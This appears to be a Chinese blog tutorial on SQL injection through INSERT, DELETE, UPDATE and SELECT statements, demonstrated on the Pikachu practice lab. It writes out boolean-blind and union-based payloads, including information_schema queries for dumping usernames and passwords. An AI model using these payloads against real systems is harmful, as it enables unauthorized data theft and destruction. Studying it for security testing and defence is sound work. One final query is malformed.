SQL注入_insert&delete&update&selete

一. SQL注入介绍

1.1 sql注入概念

1.1.1 sql注入的实质:数据库将用户输入的数据当作代码执行

1.1.2 sql注入产生的条件

  • 用户能控制输入
  • 原本程序要执行的代码,拼接了用户输入的数据然后进行执行

1.2 sql注入注入点判断

1.2.1 判断是否存在可控变量

  • 抓包判断

在这里插入图片描述

如图所示,id=1与submit=%E6%9F%A5%E8%AF%A2都是外部传递变量

1.2.2 判断是否存在与数据库交互

  • 功能判断

如搜索栏、登录框、页面展示等与数据库相关的功能存在与数据库交互

1.2.3 判断过滤是否严谨

  • 传递值后添加’,“或其他杂乱无章的字符查看是否存在变化

1.2.4 判断闭合与功能实现

  • 搜索型:1%" and “%1%”=“1 结论true、1%” and “%1%”="2 结论fales等
  • 展示型:1 and 1=1-- - 结论true、1 and 1=2-- - 结论:fales等

二. insert注入

2.1 insert注入场景

2.1.1 insert函数功能简介:insert在sql语句中代表是往表中添加数据的操作

2.1.2 insert函数注入场景:注册功能、留言功能、添加用户功能等

2.2 insert注入

2.1.1 insert注入介绍:insert由于其功能决定并不会对结论进行直接输出,同时其sql语句预编译是insert型,所以无法使用查询注入的方式进行注入。主要注入方式是盲注、以及报错注入(存在数据库报错信息)

2.1.2 insert布尔盲注使用函数

length(str1) #返回str1字符串长度
left(str1,num) #对字符串str1从左开始数起,返回num个字符
substr(str1,2,1) #对字符串str1从左边第2位开始,截取1位 mid(str1,2,1) #与substr用法相同
ascii(str1) #返回字符串ascii值 ord(str1) #与ascii用法相同
like 模糊匹配(可用正则表达式) regexp #与like类似

2.1.3 insert布尔盲注实列

(1)查看功能
在这里插入图片描述

(2)输入传递值并抓包查看
加粗样式**
由数据包可以看到向服务器传递的变量与变量值
根据注册功能可以得出其sql语句是insert

(3)制作payload

正常注册sql语句:insert into  tablename(username,password,sex,phonenum,email,add)  values ('test',123456,'%E7%94%B7','13371689786','%E5%B9%BF%E4%B8%9C%E6%B7%B1%E5%9C%B3')
注入注册sql语句:insert into  tablename(username,password,sex,phonenum,email,add)  values ('test',123456,'%E7%94%B7','13371689786*',(select 1 where 1=1))-- -)*','%E5%B9%BF%E4%B8%9C%E6%B7%B1%E5%9C%B3')

解析:上述语句对比不同的地方为payload,根据数据库语句规则,若注册sql语句后续payload为’,(select 1 where 1=1))-- -时,则程序正常运行。若注册sql语句后续payload为’,(select 1 where 1=2))-- -时,程序不正常运行。根据true与fales来进行布尔盲注

(4)测试payloa
在这里插入图片描述
在这里插入图片描述

  • 如上图所示,‘,(select 1 where 1=1))-- -与’,(select 1 where 1=2))-- -存在差异,则代表制作的payload有效。当第七位值为true时,注册成功,当第七位值为fales时,注册失败。
  • 可以根据第七位值true或fales进行布尔盲注(后续会讲)
示例payload:email=1',(if(length(database())=x,(select 1 where 1=1),(select 1 where 1=2)))-- -可以遍历数据库长度

缺点:由于测试其差异性需要创建用户,所以sql注入后存在许多测试用户

特性:insert注册功能&selete账户信息功能组成容易造成二阶注入

三. delete注入

3.1 delete注入场景

3.1.1 delete函数功能简介:delete函数主要作用是删除数据库已存在数据

3.1.2 delete注入场景:删除用户,删除留言

3.2 delete注入

3.2.1 delete注入介绍:delete由于其功能决定并不会对结论进行直接输出,同时其sql语句预编译是delete型,所以无法使用查询注入的方式进行注入。主要注入方式是盲注、以及报错注入(存在数据库报错信息)

3.2.2 delete注入常用函数

length(str1) #返回str1字符串长度
left(str1,num) #对字符串str1从左开始数起,返回num个字符
substr(str1,2,1) #对字符串str1从左边第2位开始,截取1位 mid(str1,2,1) #与substr用法相同
ascii(str1) #返回字符串ascii值 ord(str1) #与ascii用法相同
like 模糊匹配(可用正则表达式) regexp #与like类似

3.2.3 delete布尔盲注实列

(1)查看功能
在这里插入图片描述

(2)输入传递值并抓包查看
在这里插入图片描述

(3)构造payload

正常删除sql语句:delete from tablename where id=334

注入删除sql语句:delete from tablename where id=334 and 1=1-- -

解析:根据sql语句当输入payload为 and 1=1-- -时可以正常执行,当注入payload为 and 1=2-- -时不可以正常实现,可根据其true和false来进行布尔盲注(盲注会造成大量的删除功能实现,真实环境容易进局子,切记)

(4)测试payload
在这里插入图片描述
在这里插入图片描述

  • 如上图所示, and 1=1-- -与 and 1=2-- -存在差异,则代表制作的payload有效。当 and 1=1-- -时,删除成功,当 and 1=2-- -时,注册失败。
  • 可以根据删除效果判断true和false,可以据此进行布尔盲注(后续会讲)

四. update注入

3.1 update注入场景

3.1.1 update函数功能简介:update函数主要作用是修改数据库已存在数据

3.1.2 update注入场景:修改密码,修改用户信息

3.2 update注入

3.2.1 update注入介绍:update由于其功能决定并不会对结论进行直接输出,同时其sql语句预编译是update型,所以无法使用查询注入的方式进行注入。主要注入方式是盲注、以及报错注入(存在数据库报错信息)

3.2.2 update注入常用函数

length(str1) #返回str1字符串长度
left(str1,num) #对字符串str1从左开始数起,返回num个字符
substr(str1,2,1) #对字符串str1从左边第2位开始,截取1位 mid(str1,2,1) #与substr用法相同
ascii(str1) #返回字符串ascii值 ord(str1) #与ascii用法相同
like 模糊匹配(可用正则表达式) regexp #与like类似

3.2.3 update布尔盲注实列

(1)查看功能
在这里插入图片描述

(2)输入传递值并抓包查看
在这里插入图片描述

(3)制作payload

正常修改sql语句:update tablename set sex='test2',phonenum='test3',email='test1' where username='test1'
注入修改sql语句:update tablename set sex='test2',phonenum='test3',email='test1' where username='test1' and 1=1-- -' where username='test1'

解析:根据sql语句当输入payload为’ where username=‘test1’ and 1=1-- -时可以正常执行,当注入payload为’ where username=‘test1’ and 1=2-- -时不可以正常实现,可根据其true和false来进行布尔盲注(此payload需要爆破字段username(可以是id或其他,也可以不填更改所有))

(4)测试payload

在这里插入图片描述
在这里插入图片描述

如上图所示,当payload为’ where username=‘test1 ’ and 1=1-- -时,可以将性别修改为test10,当payload为’ where username='test1 ’ and 1=2-- -时,不能将性别修改为test20
可以根据其注册成功和注册失败2种形态进行布尔盲注(后续会讲)

五. selete注入

5.1 selete注入场景

5.1.1 selete函数功能简介:selete函数主要是查询数据库数据,并展示出来

5.1.2 selete注入场景:登录功能,搜索栏,用户信息展示,页面展示,图片展示等

5.2 selete注入

5.2.1 union函数介绍

  • 功能:一条sql语句通过union函数连接可以执行多个查询语句,并使其结果在统一显示表展示
  • 限制:多个sql查询语句的查询字段数需相同(如下例:users表查询主要是查询3个字段(id,username,password),member表查询也需要查询3个字段(id,username,pw))
  • 示例:select id,username,password from users union select id,username,pw
    from member
    在这里插入图片描述

5.2.2 selete注入介绍:selete因为其具有查询功能,并其能显示查询结果。所以部分selete注入可以通过查询结果进行sql注入。主要注入方式有联合查询注入(存在数据库输出),盲注,报错注入(存在报错信息)

5.2.3 selete注入常用函数

selete #联合查询g'n功能
order by #指定列升序排列
concat() #横向合并
group_concat #纵向合并
limit 0,1 #截取字符串
/**/ #注释中间语句,可替代空格
-- - #注释后续语句
#    #注释后续语句

5.2.4 selete注入实列

(1)查看功能
在这里插入图片描述

此功能是根据用户userid展示出用户用户名与邮箱
其功能sql语句:select username,mail from users where userid=$id;

(2)查看请求包外部传参
在这里插入图片描述

上图id与submit都是外部post传参,可能存在注入点

(3)构造测试payload

正常查询sql语句:select username,mail from users where userid=1 limit 0,1
注入查询sql语句:select username,mail from users where userid=1 and 1=1 limit 0,1

(4)测试payload
在这里插入图片描述
在这里插入图片描述

解析:上述传入id值为1 and 1=1时,执行正确,传入1 and 1=2时,执行错误。表示外部传递值对其sql语句进行了影响,并可控。可以根据布尔进行sql注入。由于select具有展示功能,所以也可以进行联合查询注入

(5)联合查询注入获取数据库信息

  • 猜解字段数(由于union函数语法需联合的多个查询语句查询字段数相同,所以需要查询预编译sql语句的字段数)

使用order by 1进行查询,order by 后续值代表第多少列进行升序排列。当数字到达不存在的列时由于无法按规定列升序排列,所以会报错。字段数为最后正常执行order by的后续数字(推荐使用二分法)
在这里插入图片描述

第二行进行升序排列正常执行
在这里插入图片描述

第三行进行升序排列不能正常运行

即原始select语句字段数为2,union查询sql语句也需要为2

  • 查询数据库相关信息

查询显示位(数据库查询出来的数据需要后端语言(php,java)控制显示出来,并不一定全部数据都可以进行显示。同时需要将原有查询语句参数设置为null值,使其查询不到原有查询语句。否则容易遮挡union后续查询语句)
在这里插入图片描述

如上可以看到1,2为显示位

查询数据库名 select database(),2-- -
在这里插入图片描述

可以得数据库名为pikachu

查询用户名:user()

查询数据库版本:version()

  • 查询表

union select table_name,2 from information_schema.tables where table_schema=“pikachu”

解析:就普通的查询information_schema.tables表信息的sql语句。information_schema数据库介绍上篇博客有;本靶场将所有的查询信息都展示。部分真实场景仅仅展示1个。可以使用limit或group_concat()将所有的信息都输出出来
在这里插入图片描述

查询表字段

union select column_name,2 from information_schema.columns where table_name=“users”

解析:查询users表的字段
在这里插入图片描述

查询值

union select username,password where users
在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值